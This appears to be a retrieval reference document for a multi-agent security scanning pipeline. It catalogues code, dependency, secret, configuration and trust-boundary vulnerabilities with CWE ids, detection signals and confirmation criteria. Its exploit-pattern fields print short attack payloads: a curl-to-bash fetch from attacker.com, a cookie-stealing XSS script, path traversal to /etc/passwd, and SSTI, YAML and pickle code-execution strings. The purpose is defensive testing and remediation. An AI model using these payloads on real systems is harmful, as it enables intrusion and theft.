VULN-SWARM

Vulnerability Knowledge Base

RAG Reference Document — Document 1 of 2

For use by: Agent A (Hacker) · Agent B (Engineer) · Agent C (Reviewer)

Purpose of This Document

This document is the primary RAG knowledge source for the Vuln-Swarm multi-agent security pipeline. It defines every vulnerability class the system detects, classifies, exploits, and remediates. Each entry includes its category, description, detection signals, exploit pattern, and the agent responsible for action.

Agent A queries this document to understand what to look for. Agent B queries it to understand severity and context before patching. Agent C queries it to understand what passing/failing tests should look like per vulnerability class.

Category 1: Code Pattern Vulnerabilities

These vulnerabilities exist in the logic and structure of the code itself. The code may be syntactically correct and well-structured but logically insecure. AI-generated code is especially prone to this class because LLMs optimise for functionality, not security.

1.1 SQL Injection (SQLi)

Vuln ID	CP-001
Severity	CRITICAL
CWE	CWE-89: Improper Neutralisation of Special Elements in SQL Commands
Agent Owner	Agent A detects → Agent B patches → Agent C verifies
Description	User-controlled input is incorporated into SQL queries without proper parameterisation, allowing attackers to manipulate query logic, extract data, or destroy the database.
Detection Signal	String formatting (f-string, .format(), +) used to build SQL strings. Variables named query, sql, stmt constructed from user input.
Exploit Pattern	Payload: ' OR 1=1 -- or ' UNION SELECT * FROM users --
Affected Sinks	db.execute(), cursor.execute(), session.query(), engine.run_sql()
Confirmed If	Docker sandbox exploit returns rows from a table not requested, or authentication bypass succeeds with malicious payload.

1.2 Command Injection (CMDi)

Vuln ID	CP-002
Severity	CRITICAL
CWE	CWE-78: Improper Neutralisation of Special Elements in OS Commands
Agent Owner	Agent A detects → Agent B patches → Agent C verifies
Description	User input is passed to OS-level command execution functions without sanitisation, allowing arbitrary command execution on the server.
Detection Signal	os.system(), subprocess.call(), subprocess.Popen() called with string concatenation or f-strings containing user input.
Exploit Pattern	Payload: ; cat /etc/passwd or && curl attacker.com/shell.sh | bash
Affected Sinks	os.system(), os.popen(), subprocess.*(), eval() with shell=True
Confirmed If	Exploit script receives output of /etc/passwd or attacker-controlled command executes in Docker sandbox.

1.3 Server-Side Template Injection (SSTI)

Vuln ID	CP-003
Severity	CRITICAL

CWE	CWE-94: Improper Control of Generation of Code
Agent Owner	Agent A detects → Agent B patches → Agent C verifies
Description	User-controlled input is passed directly into a template engine as the template itself (not as template data), enabling arbitrary code execution via template syntax.
Detection Signal	Template() or env.from_string() called with user_input directly. render_template_string() in Flask receiving request data.
Exploit Pattern	Payload: {{ ".__class__.__mro__[1].__subclasses__() }} for RCE via Jinja2 class traversal.
Affected Sinks	jinja2.Template(), render_template_string(), mako.template.Template()
Confirmed If	Exploit returns Python subclass list or executes a command via __import__('os').system().

1.4 Path Traversal

Vuln ID	CP-004
Severity	HIGH
CWE	CWE-22: Improper Limitation of a Pathname to a Restricted Directory
Agent Owner	Agent A detects → Agent B patches → Agent C verifies
Description	User-controlled input is used to construct file paths without boundary validation, allowing access to files outside the intended directory.
Detection Signal	open(), os.path.join(), pathlib.Path() called with user_input. File read/write endpoints accepting filename parameters.
Exploit Pattern	Payload: ../../etc/passwd or ..\..\windows\system32\drivers\etc\hosts
Confirmed If	Exploit reads /etc/passwd or a file clearly outside the app directory from the Docker sandbox.

1.5 Cross-Site Scripting (XSS)

Vuln ID	CP-005
Severity	HIGH
CWE	CWE-79: Improper Neutralisation of Input During Web Page Generation
Agent Owner	Agent A detects → Agent B patches → Agent C verifies
Description	User-supplied content is reflected or stored in HTML responses without encoding, allowing injection of malicious scripts into the browser of other users.
Detection Signal	render_template() returning user input directly. Response built with string concatenation including request.args or request.form values.
Exploit Pattern	Payload: <script>document.location='http://attacker.com?c='+document.cookie</script>

Confirmed If	Exploit payload is reflected unescaped in the HTTP response body or stored and served back to another user.

1.6 Insecure Deserialisation

Vuln ID	CP-006
Severity	CRITICAL
CWE	CWE-502: Deserialisation of Untrusted Data
Agent Owner	Agent A detects → Agent B patches → Agent C verifies
Description	Application deserialises data from untrusted sources using unsafe deserialisation libraries, enabling object injection, RCE, or privilege escalation.
Detection Signal	pickle.loads(), yaml.load() without Loader=yaml.SafeLoader, marshal.loads(), jsonpickle.decode() called with external data.
Exploit Pattern	Crafted pickle payload that calls os.system() on deserialisation. YAML payload using !!python/object/apply:os.system.
Confirmed If	Exploit triggers command execution during deserialisation step inside Docker sandbox.

1.7 Broken Access Control / IDOR

Vuln ID	CP-007
Severity	HIGH
CWE	CWE-639: Authorisation Bypass Through User-Controlled Key
Agent Owner	Agent A detects → Agent B patches • Agent C verifies
Description	Endpoints accept a user-controlled identifier (user_id, account_id, order_id) and return data without verifying the requesting user owns that resource.
Detection Signal	Route parameter used directly in DB query without ownership check. No comparison between session user and requested resource owner.
Exploit Pattern	Authenticated as user 1, request GET /api/user/2/profile — if data returns, IDOR confirmed.
Confirmed If	Exploit retrieves data belonging to a different user account without elevated privileges.

1.8 Missing Rate Limiting

Vuln ID	CP-008
Severity	MEDIUM
CWE	CWE-770: Allocation of Resources Without Limits
Agent Owner	Agent A detects → Agent B patches → Agent C verifies

Description	Authentication and sensitive endpoints accept unlimited requests per IP/user, enabling brute-force attacks, credential stuffing, and denial of service.
Detection Signal	Login, password reset, OTP, or signup endpoints with no rate limiting decorator or middleware. No flask-limiter, slowapi, or similar library in use.
Exploit Pattern	Send 1000 POST /login requests with varied passwords. If no 429 responses, rate limiting is absent.
Confirmed If	1000 requests complete without a 429 Too Many Requests response from the server.

Category 2: Dependency Vulnerabilities

These vulnerabilities originate in third-party libraries and packages the codebase depends on. AI agents frequently use outdated package versions from training data, making this class especially common in AI-generated codebases.

2.1 Known CVE in Direct Dependency

Vuln ID	DEP-001
Severity	Inherits CVE severity (Critical/High/Medium/Low)
CWE	CWE-1395: Dependency on Vulnerable Third-Party Component
Agent Owner	Agent A detects → Agent B patches → Agent C verifies
Description	A directly declared dependency (in requirements.txt, package.json, etc.) has a published CVE against the pinned version.
Detection Signal	pip-audit or osv-scanner returns CVE match against a package+version pair in requirements file.
Reachability Check	Agent A must verify the vulnerable function in the library is actually called by the codebase before escalating to critical.
Confirmed If	pip-audit returns a non-empty CVE list AND reachability analysis confirms the vulnerable code path is reachable.

2.2 Known CVE in Transitive Dependency

Vuln ID	DEP-002
Severity	Inherits CVE severity
CWE	CWE-1395: Dependency on Vulnerable Third-Party Component
Agent Owner	Agent A detects → Agent B patches → Agent C verifies
Description	A dependency of a dependency (not declared directly) contains a known CVE. Not visible from requirements.txt alone — requires full dependency tree materialisation.
Detection Signal	pipdeptree --json-tree combined with CVE lookup reveals vulnerability in a nested dependency node.
Detection Method	Full dependency tree materialisation: pip install pipdeptree && pipdeptree --json-tree > tree.json, then CVE scan every node.
Confirmed If	CVE is present in a transitive dep AND a call graph analysis confirms it is reachable through the parent dep's usage in the codebase.

2.3 Unpinned / Floating Dependency Version

Vuln ID	DEP-003
Severity	MEDIUM
CWE	CWE-1357: Reliance on Insufficiently Trustworthy Component

Agent Owner	Agent A detects → Agent B patches → Agent C verifies
Description	Dependency declared without a fixed version (e.g. requests or requests>=2.0) means any future version including one with a new vulnerability or breaking change can be installed.
Detection Signal	requirements.txt line has no == pin, uses >=, <=, ~=, or no version at all.
Risk	Supply chain substitution: a malicious actor can release a new version of the package that gets installed automatically on next deploy.
Confirmed If	pip install with the floating spec produces a different version than the last known good deployment.

2.4 Dependency Without Hash Pinning

Vuln ID	DEP-004
Severity	MEDIUM
CWE	CWE-494: Download of Code Without Integrity Check
Agent Owner	Agent A detects → Agent B patches → Agent C verifies
Description	Even with a fixed version pin, the package on PyPI/npm can be replaced with a malicious version by a compromised registry or maintainer account. Hash pinning prevents this.
Detection Signal	requirements.txt uses == version pin but no --hash=sha256: suffix on any entry.
Fix Target	All production dependencies must include both wheel hash and sdist hash.
Confirmed If	pip install --require-hashes -r requirements.txt fails, confirming no hashes are present.

Category 3: Secret & Credential Vulnerabilities

Hardcoded secrets are among the most common vulnerabilities in AI-generated code. LLMs frequently inline credentials as placeholders that later get committed to version control.

3.1 Hardcoded API Key or Token

Vuln ID	SEC-001
Severity	CRITICAL
CWE	CWE-798: Use of Hard-coded Credentials
Agent Owner	Agent A detects → Agent B patches → Agent C verifies + history purge issue
Description	A live API key, token, or credential is hardcoded directly in source code. If the repo is ever made public or the code is leaked, the credential is immediately compromised.
Detection Signal	High Shannon entropy string (>4.5 bits/char) near variable names containing key, token, secret, api, auth, password, credential.
Service Patterns	sk-ant- (Anthropic), ghp_ (GitHub), AKIA (AWS), xoxb- (Slack), SG. (SendGrid), sk-proj- (OpenAI)
Live Validation	Agent A attempts a lightweight read-only API call to determine if the secret is still active.
Confirmed If	Entropy + pattern score exceeds threshold AND live validation call returns HTTP 200.

3.2 Hardcoded Password

Vuln ID	SEC-002
Severity	CRITICAL
CWE	CWE-259: Use of Hard-coded Password
Agent Owner	Agent A detects → Agent B patches → Agent C verifies + history purge issue
Description	Database passwords, admin passwords, or service passwords hardcoded directly in source code or config files.
Detection Signal	Variables named password, passwd, pwd, db_pass, admin_pass assigned a string literal. Common patterns: admin123, password, secret, changeme.
Obfuscation Variants	Base64-encoded passwords, split across concatenated strings, or stored in byte literals.
Confirmed If	Entropy + context scoring flags the value AND it successfully authenticates against the target service in the sandbox.

3.3 Secret in Git History

Vuln ID	SEC-003
Severity	CRITICAL
CWE	CWE-312: Cleartext Storage of Sensitive Information

Agent Owner	Agent A detects → Agent B patches current file → Agent C raises HISTORY PURGE issue
Description	Even if a secret is removed from the current codebase, it persists in git history and is fully accessible via git log --all -p. The secret is compromised regardless of the current file state.
Detection Method	Agent A scans git log output for entropy + pattern matches across all commits, not just HEAD.
Required Action	Secret rotation is MANDATORY. git filter-repo must be run to purge history. All contributors must re-clone. This cannot be resolved by code patch alone.
Confirmed If	Secret string found in any commit in git log --all -p output.

Category 4: Configuration Vulnerabilities

4.1 Docker Container Running as Root

Vuln ID	CFG-001
Severity	HIGH
CWE	CWE-250: Execution with Unnecessary Privileges
Description	Container runs as root user (UID 0) by default. If the container is compromised, the attacker has root-level access to the container filesystem and potentially the host.
Detection Signal	No USER directive in Dockerfile, or USER root explicitly set.
Confirmed If	docker inspect shows User as empty string or root.

4.2 Unpinned Docker Base Image

Vuln ID	CFG-002
Severity	HIGH
CWE	CWE-494: Download of Code Without Integrity Check
Description	Dockerfile uses FROM python:latest or FROM python:3.12 without a digest pin. The tag can be silently updated to a compromised or vulnerable image.
Detection Signal	FROM line uses a tag without @sha256: digest suffix.
Confirmed If	docker pull python:latest pulls a different image ID than the last build, demonstrating tag mutability.

4.3 CORS Wildcard Origin

Vuln ID	CFG-003
Severity	HIGH
CWE	CWE-942: Permissive Cross-domain Policy
Description	API allows requests from any origin (Access-Control-Allow-Origin: *), enabling malicious websites to make authenticated cross-origin requests on behalf of logged-in users.
Detection Signal	CORS_ORIGINS = ['*'] or origins='*' in Flask-CORS / FastAPI CORS middleware config.
Confirmed If	HTTP response includes Access-Control-Allow-Origin: * header for a credentialed request.

4.4 Debug Mode Enabled in Production Config

Vuln ID	CFG-004

Severity	HIGH
CWE	CWE-215: Insertion of Sensitive Information Into Debugging Code
Description	DEBUG=True or equivalent exposes stack traces, internal variables, and interactive debuggers (e.g. Werkzeug debugger) to the public, enabling full RCE.
Detection Signal	DEBUG=True in settings.py, config.py, or .env. app.run(debug=True) in production entry point.
Confirmed If	A deliberate 500 error returns a full stack trace or interactive debugger console in the HTTP response.

Category 5: Trust Boundary Violations

5.1 Use of eval() or exec() on User Input

Vuln ID	TRB-001
Severity	CRITICAL
CWE	CWE-95: Improper Neutralisation of Directives in Dynamically Evaluated Code
Description	eval() or exec() called with data derived from user input, enabling full remote code execution on the server.
Detection Signal	eval() or exec() call where the argument is a variable (not a string literal) that traces back to user input in the DFG.
Exploit Pattern	__import__('os').system('id') as eval payload.
Confirmed If	Exploit returns output of id command or other OS command from Docker sandbox.

5.2 Unsafe yaml.load()

Vuln ID	TRB-002
Severity	CRITICAL
CWE	CWE-502: Deserialisation of Untrusted Data
Description	yaml.load() without Loader=yaml.SafeLoader processes YAML tags that can instantiate arbitrary Python objects, enabling RCE.
Detection Signal	yaml.load(data) or yaml.load(f) without explicit Loader parameter.
Exploit Pattern	YAML payload: !!python/object/apply:os.system ['id']
Confirmed If	Exploit triggers command execution during yaml.load() in Docker sandbox.

5.3 Unsafe pickle.loads()

Vuln ID	TRB-003
Severity	CRITICAL
CWE	CWE-502: Deserialisation of Untrusted Data
Description	pickle.loads() processes binary data from an untrusted source. A crafted pickle payload calls arbitrary Python code during deserialisation.
Detection Signal	pickle.loads() or pickle.load() called with data from a request, file upload, cache, or queue message.
Exploit Pattern	Crafted pickle object with __reduce__ returning (os.system, ('id',)).
Confirmed If	Exploit triggers command execution during deserialisation in Docker sandbox.

Category 6: URL & Endpoint Vulnerabilities

6.1 Hardcoded HTTP (Non-HTTPS) URLs

Vuln ID	URL-001
Severity	MEDIUM
CWE	CWE-319: Cleartext Transmission of Sensitive Information
Description	Internal or external service URLs use http:// instead of https://, allowing man-in-the-middle attacks to intercept or modify data in transit.
Detection Signal	String literals starting with http:// (not https://) in code, config files, or environment defaults.
Confirmed If	Agent A confirms the endpoint is reachable and the URL is used for data transmission, not just documentation.

6.2 Internal IP / Service Address Exposed in Code

Vuln ID	URL-002
Severity	MEDIUM
CWE	CWE-200: Exposure of Sensitive Information
Description	Internal service addresses (10.x.x.x, 192.168.x.x, 172.16.x.x, localhost) hardcoded in application code reveal internal network topology if the code is leaked.
Detection Signal	Regex match for RFC-1918 IP address ranges in string literals. localhost or 127.0.0.1 outside of test files.
Confirmed If	IP is reachable from the application host and the hardcoded address is in production code, not test fixtures.

Agent Query Reference

This section defines how each agent should query this RAG document during pipeline execution.

Agent A — Query Patterns

- Query: 'detection signal for SQL injection' → returns CP-001 detection criteria
- Query: 'how to confirm path traversal exploit' → returns CP-004 confirmed-if condition
- Query: 'what sinks indicate command injection' → returns CP-002 affected sinks
- Query: 'entropy threshold for secret detection' → returns SEC-001 detection signal

Agent B — Query Patterns

- Query: 'CWE for hardcoded password' → returns SEC-002 CWE and severity for patch prioritisation
- Query: 'transitive dependency vulnerability fix strategy' → returns DEP-002 for patching approach
- Query: 'what does IDOR require to patch' → returns CP-007 description for context

Agent C — Query Patterns

- Query: 'what does a confirmed SQLi exploit look like' → returns CP-001 confirmed-if for test assertion
- Query: 'how to verify CORS wildcard is patched' → returns CFG-003 confirmed-if condition
- Query: 'git history purge requirement for secrets' → returns SEC-003 required action